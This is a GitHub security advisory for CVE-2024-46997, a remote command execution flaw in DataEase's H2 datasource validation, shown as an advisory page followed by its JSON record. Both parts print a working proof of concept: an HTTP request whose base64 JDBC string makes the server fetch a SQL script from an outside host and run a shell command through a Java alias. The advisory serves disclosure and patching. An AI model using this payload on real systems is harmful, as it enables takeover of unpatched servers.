GHSA-H7MJ-M72H-QM8W

Vulnerability from github – Published: 2024-09-23 20:27 – Updated: 2024-09-23 20:27
VLAI?
Summary
DataEase's H2 datasource has a remote command execution risk
Details

Impact

An attacker can achieve remote command execution by adding a carefully constructed h2 data source connection string.

request message:

POST /de2api/datasource/validate HTTP/1.1
Host: dataease.ubuntu20.vm
User-Agent: python-requests/2.31.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
X-DE-TOKEN: jwt
Content-Length: 209
Content-Type: application/json

{
    "id": "",
    "name": "test",
    "type": "h2",
    "configuration": "eyJqZGJjIjogImpkYmM6aDI6bWVtOnRlc3Q7VFJBQ0VfTEVWRUxfU1lTVEVNX09VVD0zO0lOSVQ9UlVOU0NSSVBUIEZST00gJ2h0dHA6Ly8xMC4xNjguMTc0LjE6ODAwMC9wb2Muc3FsJzsifQ=="
}

h2 data source connection string:

// configuration
{
    "jdbc": "jdbc:h2:mem:test;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM '[http://10.168.174.1:8000/poc.sql'](http://10.168.174.1:8000/poc.sql%27);",
}

the content of poc.sql:

// poc.sql
CREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException {Runtime.getRuntime().exec(cmd);return "su18";}';CALL EXEC ('touch /tmp/jdbch2rce')

You can see that the file was created successfully in docker:

/tmp # ls -l jdbch2rce 
-rw-r--r--    1 root     root             0 Sep 16 22:02 jdbch2rce

Affected versions: <= 2.10.0

Patches

The vulnerability has been fixed in v2.10.1.

Workarounds

It is recommended to upgrade the version to v2.10.1.

References

If you have any questions or comments about this advisory:

Open an issue in https://github.com/dataease/dataease Email us at wei@fit2cloud.com

Severity ?
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
9.3 (Critical)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Show details on source website
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{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.10.0"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "io.dataease:common"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.10.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-46997"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-74"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-09-23T20:27:11Z",
    "nvd_published_at": "2024-09-23T16:15:06Z",
    "severity": "CRITICAL"
  },
  "details": "### Impact\nAn attacker can achieve remote command execution by adding a carefully constructed h2 data source connection string.\n\nrequest message:\n```\nPOST /de2api/datasource/validate HTTP/1.1\nHost: dataease.ubuntu20.vm\nUser-Agent: python-requests/2.31.0\nAccept-Encoding: gzip, deflate\nAccept: */*\nConnection: close\nX-DE-TOKEN: jwt\nContent-Length: 209\nContent-Type: application/json\n\n{\n    \"id\": \"\",\n    \"name\": \"test\",\n    \"type\": \"h2\",\n    \"configuration\": \"eyJqZGJjIjogImpkYmM6aDI6bWVtOnRlc3Q7VFJBQ0VfTEVWRUxfU1lTVEVNX09VVD0zO0lOSVQ9UlVOU0NSSVBUIEZST00gJ2h0dHA6Ly8xMC4xNjguMTc0LjE6ODAwMC9wb2Muc3FsJzsifQ==\"\n}\n```\n\nh2 data source connection string:\n```\n// configuration\n{\n    \"jdbc\": \"jdbc:h2:mem:test;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM \u0027[http://10.168.174.1:8000/poc.sql\u0027](http://10.168.174.1:8000/poc.sql%27);\",\n}\n```\n\nthe content of poc.sql:\n```\n// poc.sql\nCREATE ALIAS EXEC AS \u0027String shellexec(String cmd) throws java.io.IOException {Runtime.getRuntime().exec(cmd);return \"su18\";}\u0027;CALL EXEC (\u0027touch /tmp/jdbch2rce\u0027)\n```\n\nYou can see that the file was created successfully in docker:\n```\n/tmp # ls -l jdbch2rce \n-rw-r--r--    1 root     root             0 Sep 16 22:02 jdbch2rce\n```\nAffected versions: \u003c= 2.10.0\n\n### Patches\nThe vulnerability has been fixed in v2.10.1.\n\n### Workarounds\nIt is recommended to upgrade the version to v2.10.1.\n\n### References\nIf you have any questions or comments about this advisory:\n\nOpen an issue in https://github.com/dataease/dataease\nEmail us at [wei@fit2cloud.com](mailto:wei@fit2cloud.com)\n",
  "id": "GHSA-h7mj-m72h-qm8w",
  "modified": "2024-09-23T20:27:11Z",
  "published": "2024-09-23T20:27:11Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/dataease/dataease/security/advisories/GHSA-h7mj-m72h-qm8w"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-46997"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/dataease/dataease"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "DataEase\u0027s H2 datasource has a remote command execution risk"
}


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Sightings

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Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.



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